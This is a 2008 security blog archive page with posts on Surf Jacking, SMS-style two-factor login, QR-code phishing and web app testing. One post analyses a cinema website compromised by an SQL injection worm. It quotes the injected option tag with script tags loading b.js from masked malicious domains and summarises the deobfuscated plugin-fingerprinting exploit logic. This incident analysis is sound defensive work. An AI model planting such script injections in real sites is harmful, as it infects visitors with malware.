Surf Jacking

Just finished reading about Surf Jacking from Ronald van den Heetkamp (and Sandro Gauci and Mike Perry), the demonstration movie that Sandro published really set in stone how interesting this vulnerability is. Sandro’s whitepaper describes the attack in detail, the primary attack scenario being the following:

• Victim logs into the secure web service at https://somesecurebank.com/.
• The secure site issues a session cookie as the client logs in.
• While logged in, the victim opens a new browser window and goes to http://www.example.org/
• An attacker sitting on the same network is able to see the clear text traffic to www.example.org.
• The attacker sends back a “301 Moved Permanently” in response to the clear text traffic to www.example.org. The response contains the header “Location: http://somesecurebank.com/”, which makes it appear that www.example.org is sending the web browser to somesecurebank.com. Notice that the URL scheme is HTTP not HTTPS.
• The victim’s browser starts a new clear text connection to http://somesecurebank.com and sends an HTTP request containing cookie in the HTTP header in clear text
• The attacker sees this traffic and logs the cookie for later (ab)use.

The first thing I did after reading this paper was to check my online banking, and I was relieved to see that the session cookies sent by the server were set to “Encrypted Only”.

Posted by Christian Posted in: Computers, Security, Web Development No Comments » 11 August 2008

Two-Factor For All

…almost.

So, in the spirit of bringing ubiquitous two-factor authentication closer to the masses (because excuses are disappearing) I spent a few hours hacking together a Wordpress hack (plugin) that integrates Twitter’s direct message capabilities to provide a one time PIN when you log in to your Wordpress administration screen. The intent being that direct messages get sent to your mobile via SMS, hence SMS one time PIN generation, mimicking SMS PIN authentication as used by financial institutes.

Of course, by using this hack you introduce a number of dependencies, primarily that being Twitter’s service itself which doesn’t have a great track record, but also your mobile phone’s network. In addition, the fact that it is a hack, not a plugin, is also potentially a pitfall. The last issue is because I don’t actually know how to write a Wordpress plugin properly. Not for lack of trying, I can’t help it that one of the “pluggable” functions in Wordpress didn’t want to be overloaded. In fact, I’m not entirely sure that functions in version 2.6 can be overloaded(?).

I also have to admit that whilst the motivation is to introduce a second factor of authentication, such as a thing you know (your password) and a thing you have (your mobile phone), by using Twitter’s services you don’t actually need a mobile phone to get your PIN. So if you check your direct messages via the web interface, it’s actually a one-by-one factor authentication, not really two-factor, and we all know what 1 x 1 equals don’t we? But you get the point.

In regards to the good work done on the Phonefactor plugin I just want to comment that I was half way through this hack when I read about Phonefactor and it didn’t support calling Australia, so that meant I was out. The quality of their work is great though.

I’ll release the details soon..

Posted by Christian Posted in: Computers, Profession, Security, Web Development 6 Comments » 4 August 2008

Security is a Funny Business

You have to hand it Mark and his team, these videos are damn funny:

1. Tracking Risk
2. Documenting Risk
3. Reporting Risk

And uncanny how much that reminds me of my work!

Posted by Christian Posted in: General, Security No Comments » 28 July 2008

When Security Tools Go Bad

Noticed on milworm today PoC buffer overflows for both OllyDBG and ImpREC. This reminded me of a post I wrote last year about some vulnerabilities that were discovered in EnCase and the Sleuth Kit. These sorts of issues do get me thinking about how much, and how effectively, we verify the validity of the security tools we use.

At a forensic acquisition training course I attended recently, one of the items discussed was assuring and validating that the tools you use do not compromise the information you are acquiring. This is particularly important for chain of custody and tamper-proofing. You don’t want to use a particular piece of software, which claims to access a storage media without making any changes to it, only to discover that it has made minute changes. Or that a hardware device designed to prevent data being written to a hard-drive actually makes small changes to the drive itself.

This same principle applies to tools used for malware reverse engineering or software validation. You don’t want to find that the tools you’re using to try and determine if software is malicious, are exploitable by DLLs able to run foreign executables. If you aren’t careful with your testing environments, you may un-expectantly expose it to malware (in the bad way, not in the way that is controlled). This isn’t much of a problem if you run your reverse engineering tools in a virtualised environment, but if you don’t then you might find that you’ll have to spend some time rolling back or re-installing everything.

Being pragmatic of course, I don’t think anyone would expect you to be able to find the sorts of vulnerabilities as was found in this PoC. But sure, you’ll have to show some degree of rigour in validating your tools. Most of the time it will be sufficient to check for any current or previous vulnerabilities on security sites such as securityfocus, sans, securitytracker or milworm. Perhaps rigour around also means that you maintain an up-to-date tools list, including your licensing and version information. Perhaps you utilise Secunia’s software to ensure that all software is current.

I’m unsure how other people perform this process, or even if it’s necessary. Perhaps it’s only necessary in the forensic space. I’m not entirely sure. I’ve posted the question on the Security Catalyst Community so hopefully I’ll find out what other people think.

Posted by Christian Posted in: Computers, Forensics, Security No Comments » 9 July 2008

Mobile Phishing Gets Easier

So Telstra has been promoting and advertising the imminent release of software updates for a large number of Australian mobile phone users that will allow their phones to read Quick Response Codes (QR Codes). The idea being that these barcodes can be put in magazines, on posters, on your bills, anywhere and it’s trivial for you to read the barcode with your mobile phone and be redirected to a website. In fact not just browse to a site, but save a contact, start an SMS or even call a number.

A colleague of mine at work has an N95 and he quickly discovered that his phone already had the software installed. Within minutes he was firing up the scanner at barcodes and to our surprise the technology appeared to work great. In fact, due to QR Codes being open (i.e. the specification is in the open) he was quickly creating his own barcodes. Think a physical, digital business card that can be instantly understood by your mobile phone.

The Problem
I’ve already started to hear some people commenting that perhaps this will be a great avenue for potential scammers to make mobile phone users visit sites that perhaps they don’t want to. Consider the scenario where you’re sitting at your bus stop and on the billboard next to you is a poster for the next upcoming movie release, and in the corner of the poster is a QR Code. Imagine you fire up your phone, point it at the code and click “Go”. The next thing you know your mobile phone is at a malicious website downloading a specially crafted piece of mobile malware.

I can see a couple of similarities between these QR Codes and URL shortening services such as tinyurl.com. Both offer a method to abstract and simplify a method to access more complicated information. Both don’t easily appear to disclose what they are hiding until perhaps it is too late. There has already been a number of people discussing the potential risks of these URL shortening services (one quick example is over from RISKS). I believe that these risks map almost one to one to QR Codes and automatic software on your mobile phone.

What next?
As these QR Codes become more ubiquitous maybe we’ll start seeing more people plastering phishing QR Code stickers over publicly exposed QR codes (Quishing? *erk* Someone shoot me). Maybe by making it easier for people to access mobile content we’ll see a spike in malicious mobile code. Maybe we’ll start to see an increase in bills which can be paid via your mobile phone, which in itself includes a whole host of risks.
Or maybe it will all just fizzle?

Posted by Christian Posted in: Computers, General, Profession, Security 1 Comment » 8 July 2008

Reverse Engineering Web Applications

Was having a discussion at work the other day with a colleague drawing parallels between current web application security/penetration testing and reverse engineering. I believe the comment was initially driven from the fact that a lot of the web app pen testing that we had been doing recently involved a large amount of client-side code (thanks a lot web two dot oh!), and that we had spent quite some time dissecting javascript trying to understand logic flows, and underlying service calls.

At first I was apprehensive about agreeing with him, immediately in my mind I was seeing a one-to-one relationship between reverse engineering and binary executable disassembly. I was thinking of reverse engineering as the process of running up a compiled, binary executable in something like IDA Pro, to map out how the executable functioned, or even the concept of network sniffing to understand a network protocol.

Of course, the more we discussed it, the more it started to make sense that perhaps web app sec testing was like reverse engineering. In the instance of the web application, we were actively trying to get a higher level understanding of what the application was doing, and how all its inter-related pieces functioned, trying to understand the relationship between the multiple frames, javascript files and functions, and of course the remote service calls. But there was still something that was making me differentiate between the two, and it came to me a few days later. (well one possible answer).

The difference being the goal of reverse engineering compared to web app sec testing. I was seeing web application security assessments as trying to uncover vulnerabilities, then using exploitation of the vulnerabilities to try and gain access to information or resources they shouldn’t be able to. (Tangent: Great couple of articles from Gnucitizen and Spylogic on the differences between Tiger Team Operations and Penetration Testing.) Whilst, in my limited understanding of reverse engineering, reverse engineering was more about ensuring that an executable wasn’t doing anything suspicious. More like malware reverse engineering, as opposed to traditional reverse engineering.

After reading the wiki about reverse engineering it become a lot clearer why they seemed to be related and yet different, even the term reverse engineering itself carries a degree of ambiguity. One of the quotes that wiki had that stuck out was “going backwards through the development cycle“, this term made a lot of sense with regards to the goal of reverse engineering, and even playing a small part in the goal of a pen test. And this is where I draw my twisted tale to its conclusion (or my conclusion from this twisted tale?).

Whilst the goals between reverse engineering and web application security penetration testing are quite different, most web app pen tests will include a component of reverse engineering to try and document and abstract what the application is doing. This is particularly the case due to the paradigm shift occurring at the moment with a lot of web apps pushing logic out to the client. So whilst a web app security test isn’t strictly reverse engineering, I think a lot of the same skills are used at different times.

Posted by Christian Posted in: Computers, Profession, Security, Web Development 1 Comment » 7 July 2008

No Excuses

If Blizzard is able to offer One Time Password Tokens for a MMORPG platform, then there is no longer a reason why your financial institute doesn’t offer the same. Be it fat tokens or SMS one-time text.

I’ve had a couple of conversations about what happens when the baseline for user authentication is reset. I believe in the next year or so that milestone will be crossed, where the majority of online systems which provide access to PII or finance data will have either authentication-level, or even transaction-level, second factor authentication/authorisation.

For the baddies, this means that their modus operandi will have to evolve as well, and perhaps we’ll see an increase in sophisticated, real-time phishing sites, or smarter and targeted malware or man-in-the-middle-ware. There’s just too much money and information out there for the stealing, so I can’t see them simply packing up their bags and calling it quits. It’ll be interesting to see what happens next.

Posted by Christian Posted in: Computers, Profession, Security, Web Development 2 Comments » 29 June 2008

That’s What I Want

It started with the online purchasing of movie tickets
Since I’ve been running with the NoScript addon within Firefox I’ve found that when pages try to load remote scripts they seem to be much more noticeable. This was particularly the case when over a month ago I was purchasing tickets online through one of our local, Australian cinema chains (Greater Union) and I ended up on the help page. In this instance, I had already temporarily allowed the primary site in NoScript so I could purchase the tickets (the site needed this functionality to work), but when the help page loaded NoScript advised me that there were another 6 domains with scripts that wanted to run. When I clicked the NoScript button at least 4 of those other domains did not appear legitimate, such as bin###.com, adw*.com, app##.com.

At the time I didn’t think much of this event and simply closed the help page and continued purchasing my tickets. I was in a rush of course and had to get to the movies to see Iron Man or something. A few days later I checked the page again and this time noticed that the scripts appeared to be pointing to different domains. When reviewing the HTML source it also became apparent that the javascript calls were not likely to be legitimate, as they seemed to be called inside ad-hoc <option> tags. For example:

<option value='cinebuzz_club#Cinebuzz Club<script src=http://www.hl***.com/b.js></script><script src=http://www.bin###.com/b.js></script><script src=http://www.apps##.com/b.js></script><script src=http://www.app##.com/b.js></script>'>Cinebuzz Club

The SQL Injection Worm
A quick Google search for “b.js” had a number of hits, but the article that provided the most information was the SANS Diary on “SQL Injection: More of the Same“. It appeared as if the first reported instance of this SQL Injection Worm was reported by SANS in May. The original summary of the vulnerability, as seen here, describes the javascript as opening a hidden iframe, which in turn opens up other iframes (dependent on your browser), eventually trying to download or execute a malicious piece of software.

The current incarnation of the site appears to be a little more advanced as the malicious domains hosting the b.js file appear to be fast-flux hosted, as written up here, and the content within the subsequent hidden iframe is obfuscated javascript (yay). But using the technique as described here (in fact the obfuscated javascript looked really similar) using Mozilla’s Rhino, the script eventually exposed the following logic:

• Set default values for 4 variables
• Loop through navigator.plugins looking for: QuickTime, Adobe Acrobat, Shockwave Flash
• For each of the 3 plugins, set a value for against one of the first 3 variables, depending on subsequent logic that looks at version numbers for each plugin
• Try and check that the video/x-ms-wmv is an enabled plugin, and set the 4th variable
• Construct a new target script URL dependant on the above variables, for example: evil##.com/cgi-bin/index.cgi?c82fc0be071f01200077e0ed58020000000002804b628eff00 + var1 + var2 + var3 + var4

I haven’t had much luck in getting the target website to produce anything other than a HTTP 500 response, but I’m assuming that depending on the parameter passed to index.cgi the server then spews out a different exploit or piece of malware.

The Problem
The primary concern I have with this piece of malicious javascript is the fact that Greater Union actively advertises and insists that their customers use the online channel for purchasing tickets. In fact, they’ve made it increasingly difficult to purchase tickets at the cinema itself because you then lose the ability to choose your seats. The only way to guarantee particular seats is to buy your tickets online. So we’re stuck in a situation where we are recommended to purchase tickets online, the only method of course is by submitting credit card information, and other portions of the website are hosting malicious javascript exploited by an underlying SQL Injection vulnerability. How do we know that the ticket-purchasing portion of the website doesn’t have similar vulnerabilities? The short answer is we don’t.

What exacerbates this is the fact that it’s been over a month and the vulnerability has not been fixed. In fact, if the target domains keep on changing, it implies that the site keeps on getting exploited. The “baddies” are updating their code, updating the malicious payloads, and are re-exploiting this site over and over again. This certainly impacts upon my trust in them as a provider to keep my personal information/credit card information protected. If their site is susceptible to a SQL Injection worm, then someone doing targeting hacking against the site is likely to uncover all sorts of information.

What can we do?
Moving this forward and trying to provide some sort of assistance, a couple of things I would recommend if I were in their shoes would be:

• Firstly I would find your vulnerability and patch/fix it. (There’s been a lot of talk about Scrawlr recently, that’s probably a good place to start).
• Secondly I would review the rest of the code base for any similar issues.
• Thirdly, start to put some strategy around embedding security within your development lifecycle (SDL/SDL-IT/Whatever), if it isn’t already in place.

Posted by Christian Posted in: Profession, Security 2 Comments » 28 June 2008

More Than Meets The Eye

Just read this article by Michael Farnum over on computerworld.com and I have to say, what a spectacular example of security through absurdity.

Posted by Christian Posted in: General, Security No Comments » 3 June 2008

Telstra Malware at AusCERT and the Security Equals ‘No’ Dilemma

The past couple of weeks have been an absolute rollercoaster. Last week we had a fairly hectic one with a number of our guys attending AusCERT, and then this week was a combination of busy work and getting ill. I find making the decision to call in sick to be one of the more difficult decisions I have to make. Am I actually sick enough not to go to work? Will I make myself much sicker if I just muscle through it? Will I make other people sick? I’m always of two minds with this issue. This instance was probably a bit easier, as the Tuesday night I was waking up every hour or so with head and body aches and so making the call on the Wednesday was really simple.

One of the interesting items that came out of AusCERT that had us all talking, and scratching our heads wondering why popular press weren’t getting into it, was the news that Telstra accidentally distributed malware on USB thumb drives (and here) they were handing out. I guess popular media has more important things to talk about. I know it certainly makes you question whether or not you’d want to use them for security services. Of course, I understand that chances are this was a sales/marketing mistake and so doesn’t necessarily highlight the professionalism of the Telstra security folk.

Another interesting entry I read this week (or was it last week?.. my memories still a little shattered from the cold/flu) was Kees Leune’s post on Never say ‘no’. Kees talks about the all too common situation where security people are seen as the ‘no’ people (thought police, policy nazis, project killers, whatever). More often than not this is actually a perception problem. If the security person is doing their job right they should not be saying no, they should be identifying and highlighting risk. It’s the owners of the risk who are the people who are saying no, not the people identifying the risk. Usually risk assessors are positioned in such a way that they can’t even own a risk, so for them to be saying no would imply some break in the risk management framework.

I can definitely relate to this problem, and further so believe that once your department has developed that reputation it is a very difficult thing to change it. It’s not just a name change that will fix it, it’s almost an entire culture change that has to occur. I’m not completely sure I understand the answer to the problem, it falls into the bucket of ‘you just have to keep on working hard at it.’

Posted by Christian Posted in: Computers, Profession, Security No Comments » 30 May 2008

« Previous Entries